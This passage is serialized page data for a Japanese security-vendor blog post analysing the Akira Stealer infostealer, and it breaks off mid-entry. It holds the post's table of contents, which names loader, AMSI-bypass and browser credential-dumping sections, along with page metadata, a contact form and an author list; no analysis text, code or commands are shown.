.sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":594,"searchDepth":2058,"depth":2058,"links":12790},[12791,12792,12793,12794,12805,12806,12807,12808,12809,12810,12811,12812,12814,12815,12816,12817,12818,12819,12820,12821,12822,12825,12833,12834,12835,12841,12859,12877,12878,12879,12880,12888,12895,12902,12911,12918,12919,12920,12921,12922,12923,12924,12925,12926,12927,12928,12929,12930,12931,12932,12933],{"id":716,"depth":2058,"text":717},{"id":766,"depth":2058,"text":767},{"id":787,"depth":2058,"text":788},{"id":843,"depth":2058,"text":844,"children":12795},[12796,12797,12799,12801,12803],{"id":864,"depth":2064,"text":865},{"id":919,"depth":2064,"text":12798},"2.1.2 Updater.exe – 初期ローダー",{"id":1026,"depth":2064,"text":12800},"2.1.3 main.exe – 難読化されたNodeJSペイロードコンテナー",{"id":1143,"depth":2064,"text":12802},"2.1.4 cmd.exe とPowerShellの中継",{"id":1253,"depth":2064,"text":12804},"2.1.5 astor.py を伴う python.exe",{"id":1388,"depth":2058,"text":1389},{"id":1477,"depth":2058,"text":1478},{"id":1554,"depth":2058,"text":1555},{"id":1633,"depth":2058,"text":1634},{"id":1703,"depth":2058,"text":1704},{"id":1782,"depth":2058,"text":1783},{"id":1889,"depth":2058,"text":1890},{"id":2007,"depth":2058,"text":12813},"4.2 AMSIバイパスの手法（クラス: gofor4msi）",{"id":2197,"depth":2058,"text":2198},{"id":2317,"depth":2058,"text":2318},{"id":2415,"depth":2058,"text":2416},{"id":2511,"depth":2058,"text":2512},{"id":2583,"depth":2058,"text":2584},{"id":2652,"depth":2058,"text":2653},{"id":2712,"depth":2058,"text":2713},{"id":2851,"depth":2058,"text":2852},{"id":2912,"depth":2058,"text":2913,"children":12823},[12824],{"id":2924,"depth":2064,"text":2925},{"id":3280,"depth":2058,"text":3281,"children":12826},[12827,12828,12829,12830,12831,12832],{"id":3289,"depth":2064,"text":3290},{"id":3403,"depth":2064,"text":3404},{"id":3601,"depth":2064,"text":3602},{"id":3889,"depth":2064,"text":3890},{"id":3967,"depth":2064,"text":3968},{"id":4129,"depth":2064,"text":4130},{"id":4363,"depth":2058,"text":4364},{"id":4412,"depth":2058,"text":4413},{"id":4424,"depth":2058,"text":4425,"children":12836},[12837,12838,12839,12840],{"id":4430,"depth":2064,"text":4431},{"id":4474,"depth":2064,"text":4475},{"id":4534,"depth":2064,"text":4535},{"id":4569,"depth":2064,"text":4570},{"id":4606,"depth":2058,"text":12842,"children":12843},"7.3 アンチ解析／回避（クラス: VmProtect）",[12844,12845,12846,12847,12849,12850,12851,12852,12853,12854,12855,12856,12857,12858],{"id":4615,"depth":2064,"text":4616},{"id":4631,"depth":2064,"text":4632},{"id":4669,"depth":2064,"text":4670},{"id":4758,"depth":2064,"text":12848},"7.3.4 VmProtect のアーキテクチャ",{"id":5110,"depth":2064,"text":5111},{"id":5176,"depth":2064,"text":5177},{"id":5244,"depth":2064,"text":5245},{"id":5308,"depth":2064,"text":5309},{"id":5376,"depth":2064,"text":5377},{"id":5433,"depth":2064,"text":5434},{"id":5531,"depth":2064,"text":5532},{"id":5601,"depth":2064,"text":5602},{"id":6057,"depth":2064,"text":6058},{"id":6103,"depth":2064,"text":6104},{"id":6117,"depth":2058,"text":6118,"children":12860},[12861,12862,12864,12866,12868,12870,12872,12874,12876],{"id":6276,"depth":2064,"text":6277},{"id":6385,"depth":2064,"text":12863},"7.4.2 パスワードダンパー (Chromium.GetPasswords)",{"id":6511,"depth":2064,"text":12865},"7.4.3 クレジットカードダンパー (Chromium.GetCreditCards)",{"id":6593,"depth":2064,"text":12867},"7.4.4 Cookieダンパー (Chromium.GetCookies)",{"id":6674,"depth":2064,"text":12869},"7.4.5 Googleセッションダンパー (Chromium.dump_google_sessions)",{"id":6800,"depth":2064,"text":12871},"7.4.6 履歴ダンパー (Chromium.GetHistory)",{"id":6869,"depth":2064,"text":12873},"7.4.7 自動入力ダンパー (Chromium.GetAutofills)",{"id":6931,"depth":2064,"text":12875},"7.4.8 Firefoxプロファイルグラバー (GeckoDriver と grabFirefoxProfiles)",{"id":7007,"depth":2064,"text":7008},{"id":7046,"depth":2058,"text":7047},{"id":7379,"depth":2058,"text":7380},{"id":7493,"depth":2058,"text":7494},{"id":7820,"depth":2058,"text":7821,"children":12881},[12882,12883,12884,12885,12886,12887],{"id":7829,"depth":2064,"text":7830},{"id":7981,"depth":2064,"text":7982},{"id":8087,"depth":2064,"text":8088},{"id":8212,"depth":2064,"text":8213},{"id":8280,"depth":2064,"text":8281},{"id":8405,"depth":2064,"text":8406},{"id":8510,"depth":2058,"text":12889,"children":12890},"7.9. DiscordとTelegramのトークン窃取（クラス: Discord）",[12891,12892,12893,12894],{"id":8524,"depth":2064,"text":8525},{"id":8656,"depth":2064,"text":8657},{"id":8901,"depth":2064,"text":8902},{"id":8982,"depth":2064,"text":8983},{"id":9053,"depth":2058,"text":9054,"children":12896},[12897,12899,12900,12901],{"id":9066,"depth":2064,"text":12898},"7.10.1 Data クラスの初期化",{"id":9162,"depth":2064,"text":9163},{"id":9282,"depth":2064,"text":9283},{"id":9348,"depth":2064,"text":9349},{"id":9425,"depth":2058,"text":12903,"children":12904},"7.11 ファイルグラバー（クラス: Utils.steal_files）",[12905,12906,12907,12908,12909,12910],{"id":9437,"depth":2064,"text":9438},{"id":9508,"depth":2064,"text":9509},{"id":9570,"depth":2064,"text":9571},{"id":9603,"depth":2064,"text":9604},{"id":9632,"depth":2064,"text":9633},{"id":9811,"depth":2064,"text":9812},{"id":9920,"depth":2058,"text":9921,"children":12912},[12913,12914,12915,12916,12917],{"id":9929,"depth":2064,"text":9930},{"id":9944,"depth":2064,"text":9945},{"id":10023,"depth":2064,"text":10024},{"id":10172,"depth":2064,"text":10173},{"id":10406,"depth":2064,"text":10407},{"id":10760,"depth":2058,"text":10761},{"id":10791,"depth":2058,"text":10792},{"id":10911,"depth":2058,"text":10912},{"id":11024,"depth":2058,"text":11025},{"id":11076,"depth":2058,"text":11077},{"id":11255,"depth":2058,"text":11256},{"id":11306,"depth":2058,"text":11307},{"id":11350,"depth":2058,"text":11351},{"id":11391,"depth":2058,"text":11392},{"id":11483,"depth":2058,"text":11483},{"id":11498,"depth":2058,"text":11499},{"id":12022,"depth":2058,"text":12023},{"id":12328,"depth":2058,"text":12329},{"id":12449,"depth":2058,"text":12450},{"id":12512,"depth":2058,"text":12513},{"id":12684,"depth":2058,"text":12685},"md","post",{"lang":12937,"seoTitle":12938,"titleClass":12939,"date":12940,"categories":12941,"blogtitlepic":12942,"socialimg":12943,"customExcerpt":12944,"keywords":12945,"maxContent":325,"asideNav":12946,"footer":12995,"contactInContent":12996,"published":325},"ja","Akira Stealer: モジュール型情報窃取マルウェアの技術分析","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","始まりはMicrosoft 365のDefenderアラート1件でした。マルウェアもシグネチャも検出されず、騒ぎにもなりませんでした。ノイズの中のささやきが1つあっただけです。そこから明らかになったのは、数か月に及ぶ認証情報の窃取でした。外科手術のように正確で、静かで、ほとんど目に見えないものでした。当社のCSOCがこの静かな兆候を全面的な対応へと変えた経緯をご紹介します。お客様が制御を失っていたことに気づく前に、それを取り戻しました。","Microsoft 365セキュリティ, 認証情報窃取の検出, インシデント対応, Microsoft Defender, マネージドセキュリティサービス, クラウドセキュリティ, 脅威検出, サイバー攻撃の検出, CSOC, 高度な脅威対策",{"menuItems":12947},[12948,12950,12953,12956,12959,12962,12965,12968,12971,12974,12977,12980,12983,12986,12989,12992],{"href":12949,"text":530},"#プロローグ",{"href":12951,"text":12952},"#_1-初期イベントとトリアージの概要","初期イベントとトリアージの概要",{"href":12954,"text":12955},"#_2-マルウェアのアーキテクチャと実行チェーンの概要","マルウェアのアーキテクチャと実行チェーンの概要",{"href":12957,"text":12958},"#_3-ディープダイブ-updaterexe","ディープダイブ: Updater.exe",{"href":12960,"text":12961},"#_4-ディープダイブ-powbat","ディープダイブ: pow.bat",{"href":12963,"text":12964},"#_5-ディープダイブ-mainexe-electronベースのマルウェアローダー","ディープダイブ: main.exe",{"href":12966,"text":12967},"#_6-ディープダイブ-inputjs-暗号化されたjavascriptペイロードローダー","ディープダイブ: input.js",{"href":12969,"text":12970},"#_7-ディープダイブ-akira-stealer-v2-astorpy","ディープダイブ: Akira Stealer v2",{"href":12972,"text":12973},"#_8-循環型実行チェーン-自己修復ループ","循環型実行チェーン",{"href":12975,"text":12976},"#_9-ブロックチェーンの追跡と分析","ブロックチェーンの追跡と分析",{"href":12978,"text":12979},"#_10-akiraエコシステムの内側-商業化されたサイバー犯罪インフラ","Akiraエコシステムの内側",{"href":12981,"text":12982},"#_11-akira-stealer-quickcheck-影響を受けたファイル","Akira Stealer QuickCheck 影響を受けたファイル",{"href":12984,"text":12985},"#_12-対応のその先へ-glueckkanja-csocがインシデントをインサイトに変える方法","glueckkanja CSOCがインシデントをインサイトに変える方法",{"href":12987,"text":12988},"#_13-侵害の痕跡-iocs","侵害の痕跡 (IOCs)",{"href":12990,"text":12991},"#_14-akira-stealerインシデントを振り返る-glueckkanja-csocで防御を強化する","Akira Stealerインシデントを振り返る",{"href":12993,"text":12994},"#_15-セキュリティと法的免責事項-実際のマルウェアコードの使用","セキュリティと法的免責事項",{"noMargin":325},{"quote":484,"infos":12997},{"bgColor":12998,"color":12999,"boxBgColor":13000,"boxColor":13001,"headline":13002,"subline":13003,"level":714,"textStyling":13004,"flush":13005,"person":13006,"form":13018},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","今すぐお問い合わせください","Microsoft セキュリティの主要なMSSPとして、当社は日々企業をサイバー脅威から守っています。ぜひ一度お話しし、サイバー防御を共に強化しましょう。","text-light","justify-content-end",{"image":13007,"cloudinary":325,"alt":13008,"name":13008,"detailsHeader":13009,"details":13010},"/people/people-pam-team.png","プロジェクト＆アカウント管理","ご連絡をお待ちしております",[13011,13015],{"text":492,"href":13012,"details":13013,"icon":13014},"tel:+49 69 4005520","今すぐ電話する","site/phone",{"text":493,"href":13016,"icon":13017},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13019,"cta":13020,"method":12935,"action":13022,"fields":13023},"送信",{"skin":13021},"primary on-surface","/send",[13024,13028,13032,13035,13039,13044,13047,13050],{"type":13025,"id":13026,"value":13027},"hidden","_next","successful",{"label":13029,"type":593,"id":13030,"required":325,"requiredMsg":13031},"お名前*","name","お名前を入力してください。",{"label":13033,"type":593,"id":403,"required":325,"requiredMsg":13034},"会社名*","会社名を入力してください。",{"label":13036,"type":13037,"id":13037,"required":325,"requiredMsg":13038},"メールアドレス*","email","メールアドレスを入力してください。",{"label":13040,"type":13041,"id":13042,"required":325,"requiredMsg":13043},"お客様のデータは、お問い合わせの処理および回答の目的で当社に保存されます。データ保護の詳細については\u003Ca href=\"/ja/privacy\">プライバシーポリシー\u003C/a>をご覧ください。","checkbox","dataprotection","確認してください",{"type":13025,"id":13045,"value":13046},"_subject","Form: Blog MSSP 2025 | JA",{"type":13025,"id":13048,"value":13049},"inbox_key","gkgab-contact-form",{"type":13025,"id":13051},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":521,"description":534},"posts/2025-06-16-quiet-breach",[13056,13057,13058,13059],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","l-eVPYK-XiYGQB-M50WLGrQ3b0wGD24tnAC25rA6aqs",{"id":13062,"extension":13063,"meta":13064,"stem":8,"__hash__":13414},"authors_data/authors.json","json",{"path":13065,"Fritz Zurhorst":13066,"Alexander Schlindwein":13072,"Sophie Luna":13078,"Nadine Klein":13086,"Karsten Kleinschmidt":13092,"Julian Wendt":13100,"Holger Bunkradt":13105,"Ralf Mania":13111,"Oliver Kieselbach":13117,"Steffen Schwerdtfeger":13123,"Gunnar Winter":13131,"Jan Petersen":13136,"Thorsten Kunzi":13141,"Moritz Pohl":13145,"Thorben Pöschus":13150,"Christoph Hannebauer":13156,"Marco Scheel":13160,"Christopher Brumm":13165,"Florian Klante":13172,"Niklas Bachmann":13177,"Nils Krautkrämer":13182,"Patrick Treptau":13188,"Peter Beckendorf":13193,"Patrick Sobau":13198,"Jörg Wunderlich":13203,"Michael Breither":13207,"Christian Kanja":13212,"Zeba Hoffmann":13218,"Jochen Fröhlich":13223,"Jan Geisbauer":13227,"Gerrit Reinke":13239,"Christian Kordel":13245,"Stephan Wälde":13249,"Carolin Kanja":13254,"Adrian Ritter":13260,"Marvin Bangert":13265,"Thorsten Pickhan":13271,"Christian Lorenz":13277,"Denis Böhm":13282,"Fabian Bader":13287,"Juan Jose Fernandez Perez":13293,"Mahschid Sayyar":13298,"Benjamin Dassow":13303,"Markus Walschburger":13308,"Jonathan Haist":13313,"Daniel Rohregger":13318,"Thomas Naunheim":13323,"Florian Stöckl":13328,"Pascal Asch":13333,"Markus Kättner":13337,"Anna Ulbricht":13344,"Annette Brauns":13351,"body":13357,"title":13413},"/authors",{"display_name":13067,"avatar":13068,"permalink":13069,"linkedin":13070,"imageOffsetTop":13071},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":13073,"avatar":13074,"permalink":13075,"twitter":13076,"linkedin":13077},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":13079,"avatar":13080,"permalink":13081,"twitter":13082,"linkedin":13083,"imageOffsetLeft":13084,"imageOffsetTop":13085},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":13087,"avatar":13088,"permalink":13089,"twitter":13090,"linkedin":13091,"imageOffsetTop":13071},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":13093,"avatar":13094,"permalink":13095,"twitter":13096,"linkedin":13097,"imageOffsetTop":13098,"imageOffsetLeft":13099},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":13101,"avatar":13102,"permalink":13103,"linkedin":13104},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":13106,"avatar":13107,"permalink":13108,"linkedin":13109,"twitter":13110},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":13112,"avatar":13113,"permalink":13114,"linkedin":13115,"twitter":13116},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":13118,"avatar":13119,"permalink":13120,"linkedin":13121,"twitter":13122},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":13124,"avatar":13125,"permalink":13126,"linkedin":13127,"twitter":13128,"imageOffsetTop":13129,"imageOffsetLeft":13130},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":13132,"avatar":13133,"permalink":13134,"twitter":13082,"linkedin":13135},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":13137,"avatar":13138,"permalink":13139,"twitter":13082,"linkedin":13140},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":13142,"avatar":13143,"permalink":13144,"twitter":13082,"linkedin":13135,"imageOffsetTop":13071},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":13146,"avatar":13147,"permalink":13148,"twitter":13082,"linkedin":13149},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":13151,"avatar":13152,"permalink":13153,"twitter":13154,"linkedin":13155},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":13157,"avatar":13158,"permalink":13159,"twitter":13082,"linkedin":13135,"imageOffsetTop":13071},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":13161,"avatar":13162,"permalink":13163,"twitter":13164,"linkedin":13164},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":13166,"avatar":13167,"permalink":13168,"twitter":13169,"linkedin":13170,"imageOffsetTop":13171},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":13173,"avatar":13174,"permalink":13175,"linkedin":13176,"twitter":13082},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":13178,"avatar":13179,"permalink":13180,"linkedin":13181,"twitter":13082},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":13183,"avatar":13184,"permalink":13185,"twitter":13186,"linkedin":13187},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":13189,"avatar":13190,"permalink":13191,"linkedin":13192,"twitter":13082},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":13194,"avatar":13195,"permalink":13196,"linkedin":13197,"twitter":13082,"imageOffsetTop":13071},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":13199,"avatar":13200,"permalink":13201,"linkedin":13202,"twitter":13082},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":13204,"avatar":13205,"permalink":13206,"twitter":13082},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":13208,"avatar":13209,"permalink":13210,"twitter":13082,"linkedin":13211},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":13213,"avatar":13214,"permalink":13215,"twitter":13216,"linkedin":13217},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":13219,"avatar":13220,"permalink":13221,"linkedin":13222,"twitter":13082},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":13224,"avatar":13225,"permalink":13226,"twitter":13082,"linkedin":13135},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":13228,"avatar":13229,"permalink":13230,"twitter":13231,"linkedin":13231,"imageOffsetTop":13071,"socials":13232},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[13233,13236],{"text":13234,"href":13235},"Blog","https://emptydc.com",{"text":13237,"href":13238},"Podcast","https://hairlessinthecloud.com",{"display_name":13240,"avatar":13241,"permalink":13242,"twitter":13243,"linkedin":13244},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":13246,"avatar":13247,"permalink":13248,"twitter":13082,"linkedin":13135},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13253,"linkedin":13135},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":13255,"avatar":13256,"permalink":13257,"twitter":13258,"linkedin":13259},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":13261,"avatar":13262,"permalink":13263,"twitter":13264,"linkedin":13264},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":13266,"avatar":13267,"permalink":13268,"twitter":13269,"linkedin":13270},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":13272,"avatar":13273,"permalink":13274,"twitter":13275,"linkedin":13276},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":13278,"avatar":13279,"permalink":13280,"linkedin":13281,"twitter":13082},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":13283,"avatar":13284,"permalink":13285,"linkedin":13286,"twitter":13082},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":13288,"avatar":13289,"permalink":13290,"linkedin":13291,"twitter":13292},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":13294,"avatar":13295,"permalink":13296,"linkedin":13297},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":13299,"avatar":13300,"permalink":13301,"linkedin":13302},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":13304,"avatar":13305,"permalink":13306,"linkedin":13307},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":13309,"avatar":13310,"permalink":13311,"linkedin":13312},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":13314,"avatar":13315,"permalink":13316,"linkedin":13317,"imageOffsetTop":13071},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":13319,"avatar":13320,"permalink":13321,"linkedin":13322,"imageOffsetTop":13071},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":13324,"avatar":13325,"permalink":13326,"linkedin":13327,"imageOffsetTop":13171},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":13329,"avatar":13330,"permalink":13331,"linkedin":13332,"imageOffsetTop":13171},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":13334,"permalink":13335,"linkedin":13336,"imageOffsetTop":13171},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":13338,"avatar":13339,"permalink":13340,"linkedin":13341,"imageOffsetTop":13342,"imageOffsetLeft":13343},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":13345,"avatar":13346,"permalink":13347,"linkedin":13348,"imageOffsetTop":13349,"imageOffsetLeft":13350},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":13352,"avatar":13353,"permalink":13354,"linkedin":13355,"imageOffsetTop":13356,"imageOffsetLeft":13098},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":13358,"Alexander Schlindwein":13359,"Sophie Luna":13360,"Nadine Klein":13361,"Karsten Kleinschmidt":13362,"Julian Wendt":13363,"Holger Bunkradt":13364,"Ralf Mania":13365,"Oliver Kieselbach":13366,"Steffen Schwerdtfeger":13367,"Gunnar Winter":13368,"Jan Petersen":13369,"Thorsten Kunzi":13370,"Moritz Pohl":13371,"Thorben Pöschus":13372,"Christoph Hannebauer":13373,"Marco Scheel":13374,"Christopher Brumm":13375,"Florian Klante":13376,"Niklas Bachmann":13377,"Nils Krautkrämer":13378,"Patrick Treptau":13379,"Peter Beckendorf":13380,"Patrick Sobau":13381,"Jörg Wunderlich":13382,"Michael Breither":13383,"Christian Kanja":13384,"Zeba Hoffmann":13385,"Jochen Fröhlich":13386,"Jan Geisbauer":13387,"Gerrit Reinke":13391,"Christian Kordel":13392,"Stephan Wälde":13393,"Carolin Kanja":13394,"Adrian Ritter":13395,"Marvin Bangert":13396,"Thorsten Pickhan":13397,"Christian Lorenz":13398,"Denis Böhm":13399,"Fabian Bader":13400,"Juan Jose Fernandez Perez":13401,"Mahschid Sayyar":13402,"Benjamin Dassow":13403,"Markus Walschburger":13404,"Jonathan Haist":13405,"Daniel Rohregger":13406,"Thomas Naunheim":13407,"Florian Stöckl":13408,"Pascal Asch":13409,"Markus Kättner":13410,"Anna Ulbricht":13411,"Annette Brauns":13412},{"display_name":13067,"avatar":13068,"permalink":13069,"linkedin":13070,"imageOffsetTop":13071},{"display_name":13073,"avatar":13074,"permalink":13075,"twitter":13076,"linkedin":13077},{"display_name":13079,"avatar":13080,"permalink":13081,"twitter":13082,"linkedin":13083,"imageOffsetLeft":13084,"imageOffsetTop":13085},{"display_name":13087,"avatar":13088,"permalink":13089,"twitter":13090,"linkedin":13091,"imageOffsetTop":13071},{"display_name":13093,"avatar":13094,"permalink":13095,"twitter":13096,"linkedin":13097,"imageOffsetTop":13098,"imageOffsetLeft":13099},{"display_name":13101,"avatar":13102,"permalink":13103,"linkedin":13104},{"display_name":13106,"avatar":13107,"permalink":13108,"linkedin":13109,"twitter":13110},{"display_name":13112,"avatar":13113,"permalink":13114,"linkedin":13115,"twitter":13116},{"display_name":13118,"avatar":13119,"permalink":13120,"linkedin":13121,"twitter":13122},{"display_name":13124,"avatar":13125,"permalink":13126,"linkedin":13127,"twitter":13128,"imageOffsetTop":13129,"imageOffsetLeft":13130},{"display_name":13132,"avatar":13133,"permalink":13134,"twitter":13082,"linkedin":13135},{"display_name":13137,"avatar":13138,"permalink":13139,"twitter":13082,"linkedin":13140},{"display_name":13142,"avatar":13143,"permalink":13144,"twitter":13082,"linkedin":13135,"imageOffsetTop":13071},{"display_name":13146,"avatar":13147,"permalink":13148,"twitter":13082,"linkedin":13149},{"display_name":13151,"avatar":13152,"permalink":13153,"twitter":13154,"linkedin":13155},{"display_name":13157,"avatar":13158,"permalink":13159,"twitter":13082,"linkedin":13135,"imageOffsetTop":13071},{"display_name":13161,"avatar":13162,"permalink":13163,"twitter":13164,"linkedin":13164},{"display_name":13166,"avatar":13167,"permalink":13168,"twitter":13169,"linkedin":13170,"imageOffsetTop":13171},{"display_name":13173,"avatar":13174,"permalink":13175,"linkedin":13176,"twitter":13082},{"display_name":13178,"avatar":13179,"permalink":13180,"linkedin":13181,"twitter":13082},{"display_name":13183,"avatar":13184,"permalink":13185,"twitter":13186,"linkedin":13187},{"display_name":13189,"avatar":13190,"permalink":13191,"linkedin":13192,"twitter":13082},{"display_name":13194,"avatar":13195,"permalink":13196,"linkedin":13197,"twitter":13082,"imageOffsetTop":13071},{"display_name":13199,"avatar":13200,"permalink":13201,"linkedin":13202,"twitter":13082},{"display_name":13204,"avatar":13205,"permalink":13206,"twitter":13082},{"display_name":13208,"avatar":13209,"permalink":13210,"twitter":13082,"linkedin":13211},{"display_name":13213,"avatar":13214,"permalink":13215,"twitter":13216,"linkedin":13217},{"display_name":13219,"avatar":13220,"permalink":13221,"linkedin":13222,"twitter":13082},{"display_name":13224,"avatar":13225,"permalink":13226,"twitter":13082,"linkedin":13135},{"display_name":13228,"avatar":13229,"permalink":13230,"twitter":13231,"linkedin":13231,"imageOffsetTop":13071,"socials":13388},[13389,13390],{"text":13234,"href":13235},{"text":13237,"href":13238},{"display_name":13240,"avatar":13241,"permalink":13242,"twitter":13243,"linkedin":13244},{"display_name":13246,"avatar":13247,"permalink":13248,"twitter":13082,"linkedin":13135},{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13253,"linkedin":13135},{"display_name":13255,"avatar":13256,"permalink":13257,"twitter":13258,"linkedin":13259},{"display_name":13261,"avatar":13262,"permalink":13263,"twitter":13264,"linkedin":13264},{"display_name":13266,"avatar":13267,"permalink":13268,"twitter":13269,"linkedin":13270},{"display_name":13272,"avatar":13273,"permalink":13274,"twitter":13275,"linkedin":13276},{"display_name":13278,"avatar":13279,"permalink":13280,"linkedin":13281,"twitter":13082},{"display_name":13283,"avatar":13284,"permalink":13285,"linkedin":13286,"twitter":13082},{"display_name":13288,"avatar":13289,"permalink":13290,"linkedin":13291,"twitter":13292},{"display_name":13294,"avatar":13295,"permalink":13296,"linkedin":13297},{"display_name":13299,"avatar":13300,"permalink":13301,"linkedin":13302},{"display_name":13304,"avatar":13305,"permalink":13306,"linkedin":13307},{"display_name":13309,"avatar":13310,"permalink":13311,"linkedin":13312},{"display_name":13314,"avatar":13315,"permalink":13316,"linkedin":13317,"imageOffsetTop":13071},{"display_name":13319,"avatar":13320,"permalink":13321,"linkedin":13322,"imageOffsetTop":13071},{"display_name":13324,"avatar":13325,"permalink":13326,"linkedin":13327,"imageOffsetTop":13171},{"display_name":13329,"avatar":13330,"permalink":13331,"linkedin":13332,"imageOffsetTop":13171},{"display_name":523,"avatar":13334,"permalink":13335,"linkedin":13336,"imageOffsetTop":13171},{"display_name":13338,"avatar":13339,"permalink":13340,"linkedin":13341,"imageOffset